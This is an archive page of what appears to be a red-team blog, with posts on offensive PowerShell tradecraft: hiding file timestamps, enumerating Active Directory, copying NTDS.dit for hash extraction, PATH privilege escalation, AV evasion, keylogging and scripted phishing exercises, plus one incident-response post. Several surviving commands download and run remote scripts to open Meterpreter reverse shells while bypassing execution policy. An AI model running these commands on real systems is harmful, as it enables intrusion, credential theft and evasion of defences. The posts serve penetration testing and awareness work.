Monday, May 19, 2014

Modifying MAC properties with PowerShell

Laziness is the demise of Red Team engagements. Whether it is writing PsExec to a user's desktop or writing other arbitrary binaries to disk, not being careful can lead to being discovered. One of the competitors of this year's National CCDC mentioned to me that his team focused on discovering files created during the competition. If we were all being careful, that shouldn't work. Linux has the ability to modify file attributes with the "Touch" utility. Meterpreter has TimeStomp which works on Windows and makes it easy to blend your files with files around it by modifying the MACE attributes.

After a request to add the capability to PowerSploit, I wanted to figure out how to do it (I do prefer avoiding writing anything to disk, but there are times when it is unavoidable). I always thought that TimeStomp was black magic, but then I noticed the capability in Cobalt Strike's Beacon. I asked Raphael and he pointed me to a well-documented part of the Windows API. So naturally I headed over to pinvoke.net to check out the C# sample. It didn't take long to have a working function, but I got curious and found a .Net class to simplify the code. Armed with two working functions, I boarded the plane after ShowMeCon and wondered if it were possible to accomplish the task in a more "PowerShelly" (technical term) way.

Lets explore with Get-Member:


Wow, we can set the modified, accessed and created properties with Get-Item. That means we can simply run:


Nothing novel, but cool nonetheless. Some people would prefer a more "Touch" like capability, so I wrapped it all up in a function called Set-MacAttributes which will be added to PowerSploit soon:



I think its a prime example of why you should start by exploring cmdlets, then check out .Net and finally the API. It can save you a lot of time when you are building PowerShell tools. Obviously this won't stand up to forensic scrutiny like TimeStomp will, but it will definitely serve the purpose of hiding files in plain sight.

-Chris



Sunday, May 18, 2014

Dirty PowerShell WebServer

I was recently asked why there wasn't a PowerShell entry in this great list of web-server one-liners. Of course it is possible, but not as easy as with other scripting languages. Web-servers are dangerous in the wrong hands, but testers use them all the time (not always safely). I have seen people upload utilities like Mongoose to accomplish serving static files, but it can  be accomplished with PowerShell and the .Net httplistener class. The goal of the one-liners was to serve static files from the present working directory on port 8000. Since we know the goal is to have a small and dirty script, we can skip error-handling and use aliases:

 
So that wasn't painful, but not too helpful. How did we get here? Lets pipe the created object to Get-Member and explore the relevant properties and methods.


Now that we can put together a basic usage of the httplistener object, lets explore some of the properties of the request. Specifically, we need to know what part of the request we can use to find the name of the file. We can use the debugger that comes with the ISE to catch our loop and use the console to enumerate each of the properties until we find the one we want:


Now that we have everything put together, we just need roll it into a one-liner and encode it:



Finally, we have our encoded one-liner which will statically serve files from the present working directory.


We will need to have admin rights to grab a port, but otherwise it is pretty handy.


Thanks for reading about the basics of the httplistener class, maybe you will find it useful.

-Chris

Wednesday, April 30, 2014

Custom Properties and Descriptions in AD

One of the first things I like to do when I land on a domain-joined machine is enumerate the domain. Sometimes I do this even before attempting to privilege escalate. Sometimes a few LDAP queries is all you need to accomplish your goal.

During the planning phase of an engagement, I try to ascertain at least three data points that the organization feels are critical to their business and would be devastating if it fell into the wrong hands. That data is my ultimate goal and sometimes that data is stored in the database known as Active Directory (AD). I don't know if there is a single reason why organizations choose to store sensitive information in AD, but I have found it several times. PowerShell v2 introduced a type accelerator which makes enumerating AD quite simple and allows us to use PowerShell to manipulate the results without diving to deep into LDAP queries:

A simple way to enumerate all domain users from any user or machine account (this works great in situations where the "net" utility is deleted or restricted and returns much more digestible output):

Additionally, we can wrap that into a simple one-liner to be run from cmd.exe (or your favorite shell). For example, if we wanted to enumerate all machines in the domain:

Unfortunately, that pipe ("|") is going to give us problems. We can easily encode it from within PowerShell:

Now we can run our query:

Nothing earth-shattering there, but where it gets interesting is if you discover customer properties that the organization has added to the account objects. To find that, we simply enumerate the 'PropertyNames' of any of the accounts returned in the array:



Being able to dump the social security numbers of every employee or user is obviously a critical finding, but sometimes the other data can come in handy for further social engineering attacks or to demonstrate the risk of single link clicked. I have found employee IDs, cell phone numbers, supervisor information, number of disciplinary actions, which user's internet activity was being monitored, hourly rate and salary information. In one case, the information available in AD was what was needed to request VPN credentials and remotely reset their password.

Since most administrators interact with AD with a MMC snapin, they mistakingly believe that custom fields can't be viewed by other users. Fortunately, they can easily adjust the permissions on those properties to only be viewed by members of specific groups. At least then an attacker would have to privilege escalate or laterally compromise a member of one of the privileged groups. Even then, I wouldn't recommend storing sensitive information within AD.

One of the default properties that I like to check is the description field. Most of the time there are just notes about the account, but other times there are passwords. Passwords are obviously valuable, but the notes can be pretty valuable as well. For example, a trend I see in many high-security enterprises is to obfuscate user account common names. This protects from account guessing attacks from open-source information, but is little protection from any legitimate or illegitimate user on the domain if the real name of the user is used in the comment field. To enumerate properties:



It is also worthwhile to enumerate the properties of the computer accounts as well.

-Chris


Monday, March 31, 2014

Retrieving NTDS.dit without a Shell on the DC

It has been increasingly common for organizations to prevent external or outbound connections from their domain controllers. I have seen some use the Windows Firewall, others use non-routable IP addresses and others have installed third-party software to prevent any type of remote access. These are all recommended practices, but some security administrators wrongfully assume that their domain hashes are safe simply because they believe that it is impossible to get a meterpreter shell on any of their DCs.

Sometimes you really have to work to gain Domain Admin privileges, and other times you don't. On more than one occasion (read 2) I have been able to guess a webserver password for Symantec NetBackup servers. The first time, there didn't appear to be a obvious way of converting that access to code execution, but one of the features of the product is the ability to generate custom reports. The report generation utility can be used to generate custom database queries against a Sybase database. Sybase typically runs as SYSTEM and can be used to run commands. Combine that with PowerShell and achieving a memory-resident shell, regardless of AV product,was trivial with PowerSploit.

Armed with a fully-privileged shell on a seldom used backup server, I was in business. First lets look at the tokens on the box:



It looks like the service account is a domain admin and we can impersonate it by migrating into the netbackup service. Now its time to get the hashes and then start going after what really matters - the data. Unfortunately, I could not get the DC to initiate an outbound connection of any kind. Some combination of configuration and/or security products were preventing me from getting a shell on the DC. Without really knowing what is blocking our shells, we needed a safe way to dump the domain hashes. One method that is almost always AV-safe is to use built-in tools. There are write-ups on one method of copying the NTDS.dit, but I prefer a simpler one:


This technique relies on the Ntdsutil binary which ships with Server 2008, but may be found on 2003 servers as well. Next, we can do something similar to obtain the SYSTEM file and download them both with Meterpreter:


Armed with the database and SYSTEM files, you can continue with extracting the hashes offline. May not work in all situations, but it is another way to dump the domain hashes quickly once gaining "domain admin" rights.

-Chris

Sunday, February 23, 2014

The $env:PATH Less Traveled: Subverting Trust with 3rd-Party Applications

Some of easiest and most effective privilege escalation attacks don't rely on vulnerabilities, but rather on misconfigurations. One common misconfiguration that is often overlooked by testers involves the Windows environment variable PATH. The PATH is considered a trusted part of the operating system. The PATH is consulted by nearly every application on a running system and one rogue entry is all that is needed to take administrative control of a system.

What happens when a 3rd-party application writes its installation directory to the PATH? If the NTFS permissions of the directory aren't properly applied, then that software has a clear vulnerability. But what if they only recommend that YOU place their insecure directories in the PATH? No vulnerability to report except the one that is now on your system. Generally, an attack against Windows that leverages a 3rd-party application isn't considered a vulnerability according to their "10 Immutable Laws of Security". So its not Microsoft's fault and its not the vendor's fault.

If at this point you are thinking "Oh great, another DLL-preloading write-up...", please hold on. Although that is still a very common and valid attack, this is slightly different. Lets see what happens when the Python installation meets a feature (or flaw) of PowerShell v3 which allows us to potentially privilege escalate in a multi-user environment.

First, lets install Python on a Windows 7 machine with appropriate WMF installed.

Now we can follow the recommendation to add Python to the PATH environment thereby making our machine more vulnerable to privilege escalation attacks. To be clear, we are already vulnerable due to default permissions of the installer. Any user can replace a binary and wait for another user or process to execute python. I have successfully attacked this scenario before in an engagement, but it relies on the binary being used by a more privileged account. It could also introduce other DLL preloading opportunities to binaries that wouldn't otherwise have them (its been a fun challenge to figure out how to reliably find these conditions with a script). Those binaries could be services which could be leveraged with a simple file write and reboot without the admin interaction requirement.



Now as a low-privilege user we can write anything we want to the 'C:\Python' directory. We want to elevate our privileges on a modern Windows system and have exhausted other methods. Here is where the bug in PowerShell v3 becomes useful. Anytime you interact with the PowerShell console, either with enter or tab, the PATH is searched for the existence of 'PSConsoleHostReadline'. You can read more about why that feature was introduced here. Here is what it looks like in Process Monitor:



Now we need to create a simple function and drop a PSConsoleHostReadline.CMD (or any of the extensions in the screenshot above) into any of the searched Python directories.


What command should we run? My first thought was to use the one described here. But the problem is that once PowerShell is run, it will attempt to execute the file each time a line is entered. That would be problematic and could potentially put it in a loop. It can be done, but for simplicity lets take our limited user account and add it to the administrators group. Once an administrator invokes PowerShell.exe on the box:


Escalation achieved.

So in order for this particular attack to work, it would require:

     1. An application that installs with insecure permissions (such as the default at 'C:\').
     2. That application's path being added to the PATH either by the install or after.
     3. PowerShell being at Version 3 (default on Windows 8).
     4. A privileged account executing PowerShell on the box.

Maybe this scenario is a bit far-fetched, but let me assure you that there are lots of applications that automatically add themselves to PATH and allow "Authenticated Users" to write to their directory. To see how common this and other permissions-based vulnerabilities are, I tested the new functions against over 1000 common Windows installations. The result has me buried in the disclosure process with several projects. My hope is to reference this blog post to speed things along enough to present my findings (with references to the vulnerable software) at a conference or two this Summer and Fall. I also look forward to polishing the scripts up so they can be integrated with PowerSploit this Spring.

Lastly, this post came about from a series of discussions with Matt about the new privilege escalation functions that will be added to PowerSploit and the about the PATH. He discovered the potential for misuse of the feature in PowerShell and reported it to Microsoft a year ago (it was subsequently removed from version 4 of PowerShell). He also brought up a few other potential attack vectors like PowerShell profiles and modules. After all, this is just one example of how applications that subvert the trusted PATH can be exploited.

-Chris



Monday, February 10, 2014

Resolving Hostnames with PowerShell and the Pipeline

Thanks to Matt, PowerSploit has had a function to resolve hostnames to IP addresses for a while. The Invoke-ReverseDnsLookup utility is useful in mapping a domain from inside or out. Often, organizations use overly-descriptive names which can help an attacker narrow down their targets during initial recon and again once they have a foothold on the inside of a network. If you haven't used it, you should check it out.

Recently, we added support for two things to the function which I found helpful on a recent engagement. Both are simple enhancements that come with the PowerShell language that you may want to implement in your tools.

The first is the use of the Write-Verbose cmdlet which is a Common Parameter. That means it comes free when you declare your parameters with "[CmdletBinding()]" and then can be called by adding the "-verbose" switch when the function is called. Optionally, it can be enabled by changing $VerbosePreference, but by default it doesn't show anything. In the case of Invoke-ReverseDnsLookup, I added it to the function to be able to see what IP address it was currently trying to resolve. Since verbose statements are written to the console and not the output pipeline, you can use any of the "out-*" without it being cluttered with messages.


The next feature of PowerShell that we added is support for input from the pipeline. Pipeline input allows functions to be chained together and allows developers to focus on doing one thing. Where input is coming from and how the output is parsed or stored should be handled by the user. For example, I had a text file of several different network ranges and IP addresses that I wanted to be able to pass to Invoke-ReverseDnsLookup, but it didn't support it. Fortunately, it is simple to add support to your tools. The first thing you need to do is decide what logic (if any) only needs to happen once at the beginning or at the end of the script. In our case, Matt wrote a function to break out and validate CIDR ranges into individual addresses. We don't need to declare that function for every IP address, so we will create a BEGIN script block:


The only required script block is PROCESS. That is the part that will do the work on each object coming down the pipeline. You can see the PROCESS block above and how the current IP address in the pipeline is reference with the pipeline variable ($_). Once the PROCESS block is done, the optional END block does any post-processing for the function.



Certainly nothing ground-breaking here, but I thought I would share some neat features of PowerShell and how they can be applied to your tools. It may give you some insight into the "why" behind some of the functions in PowerSploit. Thank you for reading.

Tuesday, September 17, 2013

Hammer Instead of a Scalpel: Brute-force AV Evasion

Several years ago, I was on an engagement with Skip where we were faced with the common problem of antivirus evasion for callback binaries. The environment was such that we feared that any custom backdoor or tool would be submitted to an AV vendor so we wanted to use Meterpreter. Obviously, this was before the golden age of PowerShell. Skip suggested that we generate hundreds of payloads and scan them locally to see which ones bypass the target product. We knew what the product was, but there are some awesome ways of figuring that out. I felt pretty educated on the topic and concluded that his idea wouldn't work since encoding didn't really matter for executables.

I was wrong.

He threw together a bash script to generate payloads overnight and we returned to find around 10 viable binaries that all had different hash signatures and worked:


I have used this method to general success ever since, but given what we know about how encoding shouldn't really matter, why does this work? I don't know. My best guess is bad signature writing for a known security tool.

We even took the concept even further when facing multiple products:


Testers tend to keep their AV-evasion methods to themselves for obvious reasons, but with the tools available now it's not a huge deal. I am really writing this post to get thoughts as to why this still works. So the script that Skip wrote works, but I really wanted to speed up the process and start up the handler for testing:


The python script is on github if you are interested in trying this out but your mileage will certainly vary based on the AV product. Over the years, it generally requires more payloads to be created to be successful. Sometimes its in the hundreds, but often its in the thousands. Be careful with disk space since the script doesn't account for that.

-Chris



Friday, July 19, 2013

Guest Blog Posts and Cons

I had the pleasure of writing a few guest blogs in the last few weeks. If you haven't read them, please check them out:

"Using the Windows API and Copy-RawItem to Access Sensitive Password Files" on Microsoft's "Hey, Scripting Guy! Blog" The post covers how to use PowerShell and volume shadow copy to safely copy either the NTDS.dit or SAM files while running as admin. The accompanying script figures out if its running on a DC or not, finds the actual location of the NTDS.dit file from the registry (often installed on a different disk) and returns the VSS service to its original state. You can find the script here. Although useful in a pinch, there are niftier methods out there.

"PowerSploit: The Easiest Shell You’ll Ever Get" on Pentest Geek. The post is a tutorial on the easiest way I know to avoid AV and get a Meterpreter shell from GUI access. I also included a simple Python script (in a PowerShell post, really?) to configure the handler for you. You can check that out here, you may find it useful. The Pentest Geek blog is already full of great posts, you should definitely check it out and contribute!

"WMIS: The Missing Piece of the Ownage Puzzle" on the Passing-the-Hash blog. The post builds on the concepts introduced in the PowerSploit post on Pentest Geek. I wrote about how to use WMIS to get a Meterpreter shell with one command using PowerShell. It is extremely effective, and we will be releasing a tool to automate the entire process very soon.

Also, I look forward to seeing you again at both Blackhat and Derbycon. Skip and I will be discussing ways to mitigate the threat of the Pass-the-Hash attack at both conferences. Matt and I will be presenting "A Minimalist's Guide to Windows Post-Exploitation" at both BsidesAugusta and Derbycon. Thanks for reading and thanks for contributing to this great community.

-Chris

Wednesday, July 3, 2013

Get-GPPPassword Redux

Its been over a year since I threw together the original Get-GPPPassword on a short flight and I was really having a hard time even looking at the code. In addition to a nagging bug, it needed to be rewritten and updated to include all the great recommendations from you guys. Its amazing how often I still see local passwords being enforced with Group Policy preferences. For some reason it actually feels like the problem is getting worse even with Microsoft's blatant warnings in Server 2012. The other issue that I have seen is that when administrators stop using preferences, the old XML file is not deleted. On more than one engagement I have found an old password which helped me guess the current one. We need to keep hammering at this poor practice.

Additionally, one of the things that jumped out at me while reworking this script is the simplicity of this task in PowerShell. Compared to accomplishing the same task in Ruby, PowerShell's XML parsing really gives it an edge. A lot of security professionals could benefit by spending a few days to learn it and Carlos Perez is teaching an awesome class at Derbycon!

Updates:

General flow, performance and bug fixes including better error handling and a fix for the problem with how the base64-encoded string was being padded.

Support for parsing not only groups.xml,  but also scheduledtasks.xml, services.xml and datasources.xml. The original post that inspired me to write the function appears to be down, but there have been other posts that point out that passwords can be stored in other Group Policy preference files as well. I attempted to create each one of those XML files and created logic for the 4 that seem used.

Ryan Ries pointed out that the script could easily be pointed at the domain controller which removes the need for any parameters and makes the script easier to run:


I broke out the decryption function (Get-DecryptedCPassword) If you want to decrypt a password offline, you can use that.

As always, the most current version of the Get-GPPPassword is available from the PowerSploit Github page. Thanks for reading, keep the comments and recommendations coming and join Skip Duckwall and I at BlackHat where we will briefly discuss Group Policy preferences in relation to the Pass-the-Hash attack with practical mitigation techniques.

-Chris

Sunday, June 30, 2013

Logging Keys with PowerShell: Get-Keystroke

I was recently inspired by Matt Graeber's series of posts on Microsoft's "Hey, Scripting Guy! Blog" to go back and look at old scripts and implement reflection. One of the scripts that I use regularly and mentioned in a previous post is a keylogger. Generally, I use keyloggers in one of two ways. The first way is to keep a record of every key I press with a timestamp for logging purposes during pentests or incident response activities. The other is to collect password credentials in a post-exploitation scenario. Both of these scenarios require a script that has a minimal forensic footprint.

There are a lot of keyloggers out there that make use of GetAsyncKeyState, GetKeyboardState and VirtualKeyCode and if you have ever written or used one, you know it isn't an exact science. There are even examples of other PowerShell keyloggers. A preferred method would be to hook each window with SetWindowsHookEx but there are several security products that flag on that behavior, so I avoided it.

In the script that originally wrote early last year, I made use of Add-Type to interact with user32.dll (it was included in the Invoke-TwitterBot presentation ). If you have read Matt's posts, then you understand why that is not ideal. A few requirements that I had were tracking of special characters such as [Shift] and [Caps Lock] which are really important. VirtualKeyCode doesn't track all common characters so I had to map the other ones:



I also needed to capture the window title and a date time group which is really simple once you load GetForegroundWindow:


Ultimately, the exercise of properly using reflection proved too much of a challenge for me and I reached out to the professional. Matt made short work of it and together we have a script that meets the standards for inclusion in the PowerSploit project:


The full script is available on the PowerSploit Github page. We hope you find the script useful.

-Chris

Tuesday, April 30, 2013

BSides Puerto Rico

Its been a few weeks and my tan (burn) is gone, but I wanted to write a quick post about my time at BSides Puerto Rico. It was an awesome conference and a great venue. Although it was Puerto Rico's first security conference, it certainly didn't feel that way. The people that put the conference together were professional and obviously worked their butts off to make it happen. For a small con, it had some nice amenities such as an upscale venue and lunch.

There were some great talks as well. If you get a chance, check out Royce Davis' talk "Owning Computers without Shell Access" It was my favorite talk, but there were plenty of other great talks. I am sure the other talks will find their way online shortly.

I imagine BSidesPR will be much bigger next year and I think its well worth the cost. The actual conference was under $100 and a flight to Puerto Rico was much more affordable than I thought it would be. The weather was perfect, the talks were good and I made some new friends! Sign me up for next year and they even made this cool con wrap-up video.

-Chris

Thursday, March 28, 2013

PowerSploit + Metasploit = Shells

Metasploit has supported psexec-like functionality with pass-the-hash for several years. Unfortunately, its mostly useless when an AV product is there to delete the uploaded service binary. Recently, a module (/auxiliary/admin/smb/psexec_command) was created that allows you to run a single Windows command with discovered hashes or credentials. This doesn't flag AV, but isn't the full meterpreter shell that we're use to. How can we turn one command into a meterpreter shell?  With PowerSploit and Matt Graeber's Invoke-Shellcode!

The basic steps:


Kali Linux is awesome, but the version of PowerSploit is currently outdated, so lets pull down the script we will eventually run:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

Next we need to append the appropriate function call with LHOST and LPORT parameters and ensure that Apache is running.

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

strings -es /var/www/payload


Call to Function Added
Now that we have the script hosted, we need to build the command we want to execute. Although we could encode the entire command, I have found that building a small staging script is far more reliable. We can use the same method as described in a previous post.

Basically, we are going to Base64 encode our short script block which will pull down the rest of our script: 

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")"
encode="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
echo $command


Now we fill in the rest of the settings of the module (either a password or hash) and use the COMMAND parameter to the encoded command:

Add Command to psexec_command
Next, we start the multi/handler with reverse_https:

Set Up Handler
Finally, we run the module. This uploads a service binary to run our single command. The single command is an encoded PowerShell script which is pulling down the larger Invoke-Shellcode script. Invoke-Shellcode is determining whether the system is x86 or x64, and injecting meterpreter shellcode into an appropriate process:

Get Your Shell
The end result is a meterpreter shell without writing anything more to disk than the psexec_command module does (notice the less than ideal bat files in the above screenshot). This method has proven to be reliable for me over the last few months with lots of other tools as well. I hope you find it useful and maybe someone will be inspired to automate this all into a single module.

As soon as the PTH-Suite is ported to Kali, I hope to show you how to accomplish all of this without writing anything to disk!

***Updated 8/8/2013
So after a few comments and working through encoding issues with several people I finally realized that the actual posted code was incomplete. Instead of working from the post, I continued to work from my own script which was just simply not smart. So I added a screenshot for extra clarity and I apologize to anyone that this frustrated. On the positive side, now there are loads of other ways to pull this off which I wrote about here and you can read more about here and here.


-Chris

Tuesday, March 26, 2013

Capturing Bad Packets with Netsh

I don't write defensive or incident response posts very often, but here goes:

A few weeks ago, a friend shared a problem. For the past 3 days, between 8:30 and 9:00 AM, one of his company's remote servers would initiate an outbound connection to one of 3 different external IP addresses. He noticed the anomaly while reviewing network flow data. The reason he found it alarming was that it was using port 8443 which was allowed outbound by the firewall and was not being proxied.

His first step was to look to see if anything was out of place on the box. He reviewed the event logs and saw nothing out of the ordinary. He also maintains a directory listing of every server's system folder to compare against (awesome idea). He was stumped and wanted to avoid playing his hand or having to travel so he reached out for help. He also shared that his boss was acting strange which led him to believe that they were being red-teamed (which should not happen!).

My suggestion was to use something I learned about while writing Invoke-Twitterbot, a cool feature of Windows 7 and newer systems called Netsh trace. This allows you to do full system event tracing as well as packet captures without installing any additional software on the target system. The command looks something like this:

netsh trace start capture=yes maxSize=10MB tracefile=c:\capture.etl
For obvious reasons, he didn't want to interactively logon or use psexec to administer the potentially compromised machine. After some discussion, he opted to use the Invoke-WmiMethod in PowerShell to start the netsh capture remotely at 8:30 the next morning.

After pulling the etl and cab files down, he let me have a look at them. In order to view the output, you need to install Microsoft's Netmon. Using the "Windows Parser" you can clearly see the strange traffic:


The traffic was easy to correlate to successful login events, but there were 2 processes that seemed to tell a lot of the story. One process was for BGinfo which I confirmed was an allowed application that was left in the startup folder (not a good practice).


The other process that is created around the same time was for a bginf.exe. After looking at the behavior of the actual BGinfo, we determined that it doesn't leave a process running and it most definitely isn't started like this:


We had discovered a pentester's clever persistence mechanism. He or she had used the built-in Microsoft utility iexpress to hide their backdoor in a file that already existed in the startup directory. After pulling down the binary and extracting the bginf.exe, it was pretty obvious:

Results from http://vscan.novirusthanks.org/ 

A quick note, be careful submitting samples to VirusTotal or any online scanner. It could definitely tip your hand.

So now we know there is something bad persisting on the server. How did it get there? What credentials did they steal? How far are they in the network? What do I do next? All valid questions that we all have to figure out each time a compromise is discovered whether its a red team or not.

Thanks for reading and maybe someone else will find this netsh trick useful in an IR situation.

-Chris

Wednesday, February 27, 2013

DIY Phishing Exercises with PowerShell

One task that I have grown to hate is sending phishing emails. As a Red-teamer, I realize they almost always work and in most cases its the most likely (but not only) attack vector.  If the attempt is caught, you could face much tougher scrutiny attempting future attacks. As such, its something that I normally do after exhausting other methods or by prepping with extensive recon and social-engineering (physical and telephonic). However, I feel like organizations should be regularly testing themselves or using a service and not waiting for a pentester to tell them that their user's will click on almost anything.

Not long after releasing the PowerShell bot script, a friend asked how he could use the Send-Phishing script to test his organization. His company has a limited budget but they have a motivated and security-conscience IT staff. During the conversation, we came up with a few ideas on how to script out a phishing exercise complete with consequences. The goal is not to test whether malicious payloads can get in (they can), but the user's, admin's and security guy's reaction times. He wanted the test to be repeatable, low-cost and focus on learning at the expense of realism.
Send-Phishing PowerShell Script

The responsibility for running the tests will rotate between two people who will be responsible for developing the ruse (sometimes the hardest part). The first exercise used the example that I provided during my recent talks and it is a good start. The payload is an easy VBA macro embedded in an Excel spreadsheet. The macro hides the desired content behind a fake warning which instructs the user to enable macros if the macros aren't already enabled. This method has been around for a very long time, but the first time I saw it was in a phishing email to me from a pentester five or so years ago.

This "attack" could easily be prevented if users aren't allowed to enable macros but I find it rare that accounting/HR aren't allowed to. If only signed macros are allowed, then sign yours. A code-signing certificate is not expensive for an attacker. Since this is only an exercise, you can self-sign it. Make your payload work for the sake of the exercise.

Macro that Hides Content and Executes Remote PowerShell Script
The Content the User is Expecting
Fake Message User Receives if Macros Aren't Enabled

Next, we borrowed some of the features of the TwitterBot to create opportunities for each level to detect and respond to the phishing attempt. Each phase is implemented in a PowerShell script that is downloaded and executed by the macro:

  • Phase 0:  The user receives the email and attachment.
  • Phase 1:  User receives a popup message notifying them of the compromise.
  • Phase 2:  Antivirus is flagged which should notify the AV admin of suspicious activity.
  • Phase 3:  A known malicious C2 domain name is resolved by the "compromised" host.
  • Phases 4 - 9: Hacker activities are notionally conducted and story is written to the log.
Phase 1 Warning Message with Encoded Location of Log File
Phase 2 Antivirus Warning Message
I would like to stress that the overall story and activities are only generally realistic, there is no way to accurately predict how long each step would or could take. For a free exercise (there is opportunity cost, but no high-dollar consultant expenses), I think it works. Obviously, the story and timeline can be tailored to fit your organization's expected (or already discovered) threat actors. 


Careful consideration should be given to the fact that some learned concepts could have adverse affects on your organization's security. For example, the odds that a targeted attacker would pop a message to your user or flag AV are very slim. These steps should only be used to generate some initial awareness and should be removed from future tests. Furthermore, you analysts should learn to identify unknown C2 domains instead of relying solely on signatures. However, this is just a beginner exercise so treat it as such.

The function below was hosted on Github with a call to "Get-PhishingExercise" added to it:

Get-PhishingExercise     

The function has a few concepts that I now use regularly. I love to the Get-Random commandlet because it adds a bit of unpredictable behavior. For example, there are several options where the function can store the log and the name of the log file itself is random. [Note: The first time that this was actually used, one of the user's actually deleted the log after reading it (which itself is a problem) but I chose to encode it in the message to prevent that from easily happening again.]

Make sure you and your organization are comfortable with what the script is doing. If you don't have active rules to detect and prevent the resolution of known malicious hostnames, don't use the phase 3 portion. The use of those hostnames was prompted by the recently released Mandiant report which has resulted in many updates to network security products and their signatures. Those 5 domains should all flag your IDS. If you haven't read the report and its appendices in its entirety, you should!

Next, the URL to the hosted script was shortened with a shortener. Now we have the one-liner that will download and execute our script:

IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/e0Mw9w')
IEX is an alias for the Invoke-Expression cmdlet and will execute what the .Net WebClient downloads. Pretty simple isn't it? This example usage was borrowed from Lee Holmes.

Since this will only work in the PowerShell console, we need a way to call PowerShell.exe and pass it this script while bypassing the PowerShell ExecutionPolicy. Lee posted this easy shortcut to base64 a script block on twitter:
(cmd /c echo {ScriptBlock}).split(' ')[1]
Now we have our encoded script, lets build a command that can be run from cmd.exe:
PowerShell -Exec Bypass -NoL -Enc $EncodedScript
Drop that command in the macro and just update the script on Github to make any future changes! Now we can pick our targets and send the email with our attachment.

Once the attack is detected, the analyst or admin should be able to quarantine the box and retrieve the "marker" which is the script's output. The group as a whole would then be able to get together and discuss what went well and how to get better. Since users will eventually become wary of spreadsheets, you can embed this is other Office products like Word documents or PowerPoint presentations. Also, this same concept can be used to embed the payload into Java applets and PDFs with other tools like the awesome SET. Just utilize the same command that was added to the macro with the windows/exec or similar payload.

I hope other organizations see how easy it is to test their users and admins for awareness and responsiveness. If you have thoughts or questions, please let me know.

-Chris



Friday, February 22, 2013

Shmoocon Firetalks and Epilogue

It was great seeing everyone at Shmoocon! I had the honor of presenting at Shmoocon Firetalks and at Shmoocon Epilogue. The slides are posted here and the PoC code is here. The Firetalks format only allows for 15 minutes, so I wasn't able to include a demo but I decided to post one online:



The actual talk:



Shmoocon Epilogue had some awesome talks! I gave the same talk but with an hour at (1:04:16), but you should check out the other talks as well. I will definitely see you at Epilogue next year!


Thanks for all the feedback and you guys are awesome!

-Chris

Monday, January 14, 2013

Automating Screenshots with PowerShell

Penetration tests can become very hectic at a moment's notice. One second you are casually reviewing HTML source for a target website and the next dropping a webshell and hooking browsers before staying up all night trying to gain persistent domain-admin access to the enterprise. Keeping notes during hectic times can be difficult, tedious and potentially distracting. Sometimes, it pays to have something taking notes for you. I like to utilize both a key-logger that does time stamping and take frequent screenshots.

There are applications that can take screenshots for you at regular intervals and in the past I used an AutoIt macro to printscreen and save. That works well when I am on my own machine, but what if I was at a kiosk or doing an insider assessment from one of their workstations? I needed a PowerShell script that could take a screenshot at regular intervals, time stamp it, save it to a file and not tamper with the contents of the clipboard.

While looking for a good script to start from, I found this one that uses inline C# which seemed a little over-the-top. Another one seemed simple and straight-forward so I started working with it. After getting the function built, I was quickly annoyed with data from the clipboard disappearing. I knew I had to find another way. After digging through MSDN for an hour, I found the Bitmap Class and the System Info Class.

After loading the System.Windows.Forms assembly, I created a function that will be called to take the screenshot and save it to the disk:


Next we need a way to distinguish each file and a way to stamp them with the time it was taken:


Now we just need to settle on parameters, add this to a do-while loop and wrap the whole thing in a try-catch block. The result is Get-TimedScreenshot:

Get-TimedScreenshot     

Instead of downloading or installing additional software, we now have a script that will take periodic screenshots.  The images can be large so I wouldn't recommend leaving it running overnight, but its great to help you fill in gaps in note-taking at the end of a long hacking session.

***Updated 8/6/2013: The maintained version of this script can by found within the PowerSploit framework here.



There is also a clear post-exploitation use for the function. You can schedule it to run and maybe add a check to see if the screensaver is running to make sure you aren't wasting space. I think the function is pretty flexible and with event triggering and an email function could potentially be used as a simple parental alert system. As is, it works for my purposes which is to remind me what I did today. I hope you find it useful and thanks for reading. In case you were wondering, it works well with multiple monitor setups:



Please let me know if you have any issues, bugs or questions. Hopefully, I will see you at Shmoocon and Firetalks. Also, if you are in town, check out Shmoocon Epilogue.  The other talks look really good, but I get the chance to present "No Tools? No Problem! Building a PowerShell Bot." It will cover chaining simple tasks like this one into a nefarious PowerShell script.

-Chris